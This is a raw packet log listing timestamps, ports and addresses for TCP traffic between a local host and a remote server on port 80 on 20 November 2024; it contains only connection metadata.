Nov 20, 2024 09:14:56.497169018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497179031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497189999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497227907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497227907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497275114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497286081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497298002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497308016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497323990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497328997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497337103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497349977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497383118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497391939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497394085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497391939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497405052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497417927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497426987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497446060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497452021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497463942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497471094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497472048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497478962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497519970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497551918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497572899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497584105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497606993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497617006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497623920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497625113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497627974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497639894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497648001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497653008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497667074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497670889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497679949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497689962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497704029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497740984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497802019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497814894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497826099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497836113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497852087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497860909 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497885942 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497898102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497910023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497920036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497931957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497937918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497945070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.497965097 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.497989893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.498146057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498157978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498167992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498177052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498187065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498194933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.498198986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498212099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498219013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498224020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498225927 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.498230934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498238087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498244047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498286963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.498290062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498306036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498311043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.498318911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498332024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.498357058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498361111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.498378038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498390913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498402119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498403072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.498414040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.498430014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.498466015 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.702405930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702428102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702440023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702470064 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.702498913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.702507019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702518940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702528954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702569962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.702877045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702888966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702898979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702919006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702929020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.702929974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702941895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702960968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702960968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.702975988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.702991009 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.702995062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703003883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703008890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703031063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703054905 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703156948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703167915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703180075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703191042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703198910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703202963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703216076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703219891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703223944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703236103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703243971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703252077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703254938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703259945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703309059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703380108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703392029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703402996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703412056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703423023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703423977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703438044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703448057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703448057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703460932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703471899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703474045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703485966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703491926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703497887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703511953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703538895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703589916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703603029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703619003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703630924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703639030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703643084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703655005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703658104 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703669071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703684092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703707933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703713894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703725100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.703752995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.703777075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:57.191952944 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:57.192015886 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:57.204302073 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:57.209532976 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.259481907 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.259499073 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.259514093 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.259525061 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.259537935 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.259569883 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.259613037 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.259623051 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.261132002 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.525998116 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.526017904 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.526032925 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.526053905 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.526053905 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.526074886 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.526102066 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.526211023 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.526223898 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.526235104 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.526247978 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.526248932 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.526266098 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.526266098 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.526281118 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.526313066 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.527120113 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.527133942 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.527188063 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.527188063 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.803512096 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.803536892 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.803555012 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.803567886 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.803570986 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.803581953 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.803606033 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.803783894 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.803801060 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.803816080 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.803824902 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.803849936 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.803874016 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.803917885 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.804311037 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.804342985 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.804359913 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.804363012 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.804388046 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.804395914 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.804395914 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.804406881 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.804426908 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.804442883 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.805219889 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.805238962 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.805267096 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.805285931 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:58.897026062 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:58.897088051 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.094542027 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.094579935 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.094598055 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.094603062 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.094614029 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.094631910 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.094640017 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.094649076 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.094659090 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.094686985 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.094697952 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.094971895 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.094989061 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.095004082 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.095016003 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.095024109 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.095031977 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.095040083 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.095052004 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.095057964 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.095068932 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.095083952 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.095105886 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.095962048 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.095978975 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.095995903 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.096012115 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.096018076 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.096029043 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.096038103 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.096038103 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.096048117 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.096050978 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.096076012 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.096098900 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.096797943 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.096841097 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.395908117 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.395926952 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.395939112 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396027088 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.396044970 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396064043 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396079063 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396092892 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396132946 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.396173000 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.396234989 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396672010 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396687031 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396697998 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396719933 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396737099 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.396753073 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.396770000 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.396837950 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.396856070 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.397053003 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.397732019 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.397747993 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.397763968 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.397777081 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.397814035 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.397862911 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.397902966 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.397917032 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.397933006 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.397947073 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.397958994 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.398004055 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.398076057 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.398092985 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.398108006 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.398117065 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.398145914 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.398900032 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.398915052 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.398929119 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.398942947 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.398979902 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.398993015 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.489998102 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.490022898 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.490082979 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.490111113 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.711349964 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.711390972 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.711429119 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.711456060 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.711528063 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.711539984 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.711551905 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.711582899 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.711618900 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.711623907 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.711810112 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.711823940 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.711850882 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.711877108 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.711963892 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.711977959 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.712012053 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.712332964 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.712511063 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.712522030 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.712533951 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.712544918 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.712557077 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.712557077 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.712568045 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.712603092 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.712975979 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.712987900 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713000059 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:59.713021040 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.713035107 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:59.713151932 CET	80	49703	42.193.100.57	192.168.2.11
